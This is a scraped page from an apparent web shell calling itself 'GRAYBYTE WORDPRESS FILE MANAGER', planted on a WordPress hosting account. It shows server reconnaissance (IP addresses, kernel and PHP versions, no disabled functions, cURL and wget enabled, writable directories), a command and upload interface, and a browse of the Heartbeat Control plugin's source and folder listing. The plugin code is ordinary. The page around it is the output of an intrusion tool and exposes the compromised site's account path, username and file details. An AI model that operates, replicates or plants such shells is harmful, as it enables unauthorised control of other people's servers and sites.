GRAYBYTE WORDPRESS FILE MANAGER8249

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/heartbeat-control/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/heartbeat-control//heartbeat-control.php
<?php
/**
 * Plugin Name: Heartbeat Control by WP Rocket
 * Plugin URI: https://wordpress.org/plugins/heartbeat-control/
 * Description: Completely controls the WordPress heartbeat.
 * Version: 2.0.1
 * Author: WP Rocket
 * Author URI: https://wp-rocket.me
 * License: GPL2
 * Text Domain: heartbeat-control
 *
 * @package Heartbeat_Control
 */

namespace Heartbeat_Control;

define( 'HBC_VERSION', '2.0.1' );
define( 'HBC_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
define( 'HBC_PLUGIN_URL', plugin_dir_url( __FILE__ ) );

require_once dirname( __FILE__ ) . '/vendor/autoload.php';

/**
 * The primary Heartbeat Control class.
 */
class Heartbeat_Control {
	/**
	 * The current version.
	 *
	 * @var string
	 */
	public $version = HBC_VERSION;

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->register_dependencies();
		$this->maybe_upgrade();
		new Heartbeat();
	}

	/**
	 * Register additional plugin dependencies.
	 *
	 * @return void
	 */
	public function register_dependencies() {
		// Initialize CMB2 for the new settings page.
		require_once dirname( __FILE__ ) . '/vendor/cmb2/cmb2/init.php';
		add_action( 'cmb2_admin_init', array( new Settings(), 'init_metaboxes' ) );
	}

	/**
	 * Check the version and update as needed.
	 *
	 * @return void
	 */
	public function maybe_upgrade() {
		$db_version = get_option( 'heartbeat_control_version', '1.0' );
		if ( version_compare( $db_version, $this->version, '<' ) ) {
			$this->upgrade_db( $db_version );
		}
	}

	/**
	 * Upgrades the database from older versions.
	 *
	 * @param  string $version The current DB version.
	 * @return void
	 */
	public function upgrade_db( $version ) {
		if ( version_compare( $version, '1.1', '<' ) ) {

			$updated_options = [];

			$old_location = get_option( 'heartbeat_location', '' );

			if ( 'disable-heartbeat-everywhere' === $old_location ) {
				$updated_options['heartbeat_control_behavior'] = 'disable';
				$updated_options['heartbeat_control_location'] = array( 'frontend', 'admin', '/wp-admin/post.php' );
			} elseif ( 'disable-heartbeat-dashboard' === $old_location ) {
				$updated_options['heartbeat_control_behavior'] = 'disable';
				$updated_options['heartbeat_control_location'] = array( 'admin' );
			} elseif ( 'allow-heartbeat-post-edit' === $old_location ) {
				$updated_options['heartbeat_control_behavior'] = 'allow';
				$updated_options['heartbeat_control_location'] = array( '/wp-admin/post.php' );
			} else {
				$old_frequency = get_option( 'heartbeat_frequency', '' );

				$updated_options['heartbeat_control_behavior']  = 'modify';
				$updated_options['heartbeat_control_location']  = [ 'frontend', 'admin', '/wp-admin/post.php' ];
				$updated_options['heartbeat_control_frequency'] = $old_frequency;
			}

			update_option( 'heartbeat_control_settings', $updated_options );
		}

		$original_settings = get_option( 'heartbeat_control_settings', [] );

		if ( version_compare( $version, '1.2', '<' ) && ! array_key_exists( 'rules',  $original_settings ) ) {
			update_option( 'heartbeat_control_settings', [ 'rules' => [ $original_settings ] ] );
		}

		/*
		 * In version 1.3.0 we remove the ordering and overwriting of rules,
		 * you can have only one behavior for each location now, it simpler and less misleading.
		 * So this code check for rules by location and take one for each based on there order.
		 */
		if ( version_compare( $version, '2.0', '<' ) ) {
			$old_settings = get_option( 'heartbeat_control_settings', [] );
			$new_mapping  = [
				[
					'heartbeat_control_behavior'  => 'allow',
					'heartbeat_control_frequency' => 0,
				],
			];
			$new_settings = [
				'rules_dash'   => $new_mapping,
				'rules_front'  => $new_mapping,
				'rules_editor' => $new_mapping,
			];

			if ( ! isset( $old_settings['rules'] ) || empty( $old_settings['rules'] ) ) {
				update_option( 'heartbeat_control_settings', $new_settings );
			} else {
				$value = [ false, false, false ];

				foreach ( $old_settings['rules'] as $rules ) {
					if ( ! isset( $rules['heartbeat_control_location'] ) ) {
						continue;
					}

					foreach ( $rules['heartbeat_control_location'] as $location ) {
						if ( 'frontend' === $location && false === $value[0] ) {
							$new_settings['rules_front'] = [
								[
									'heartbeat_control_behavior' => $rules['heartbeat_control_behavior'],
									'heartbeat_control_frequency' => $rules['heartbeat_control_frequency'],
								],
							];

							$value[0] = true;
						}

						if ( 'admin' === $location && false === $value[1] ) {
							$new_settings['rules_dash'] = [
								[
									'heartbeat_control_behavior' => $rules['heartbeat_control_behavior'],
									'heartbeat_control_frequency' => $rules['heartbeat_control_frequency'],
								],
							];

							$value[1] = true;
						}

						if ( '/wp-admin/post.php' === $location && false === $value[2] ) {
							$new_settings['rules_editor'] = [
								[
									'heartbeat_control_behavior' => $rules['heartbeat_control_behavior'],
									'heartbeat_control_frequency' => $rules['heartbeat_control_frequency'],
								],
							];

							$value[2] = true;
						}

						if ( ! in_array( false, $value ) ) { // phpcs:ignore WordPress.PHP.StrictInArray
							break 2;
						}
					}
				}
			}

			update_option( 'heartbeat_control_settings', $new_settings );
		}

		update_option( 'heartbeat_control_version', $this->version );

		$notices = Notices::get_instance();
		$notices->append( 'success', __( 'Heartbeat Control data have been migrated successfully!', 'heartbeat-control' ) );
	}

}

new Heartbeat_Control();

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 13 2025 10:54:02
inteuuod / inteuuod
0755
assets
--
July 10 2025 04:32:24
inteuuod / inteuuod
0755
vendor
--
July 10 2025 04:32:24
inteuuod / inteuuod
0755
views
--
July 10 2025 04:32:24
inteuuod / inteuuod
0755
.gitignore
0.009 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
.htaccess
0.41 KB
July 10 2025 04:32:24
inteuuod / inteuuod
0644
Heartbeat.php
2.968 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
Imagify_Partner.php
21.127 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
LICENSE
17.604 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
Notices.php
3.526 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
Plugin_Card_Helper.php
16.508 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
SECURITY.md
0.366 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
Settings.php
7.716 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
composer.json
0.73 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
composer.lock
2.741 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
heartbeat-control.php
5.468 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
phpcs.xml
0.957 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
phpstan.neon.dist
0.496 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
readme.txt
4.644 KB
August 31 2023 17:21:16
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF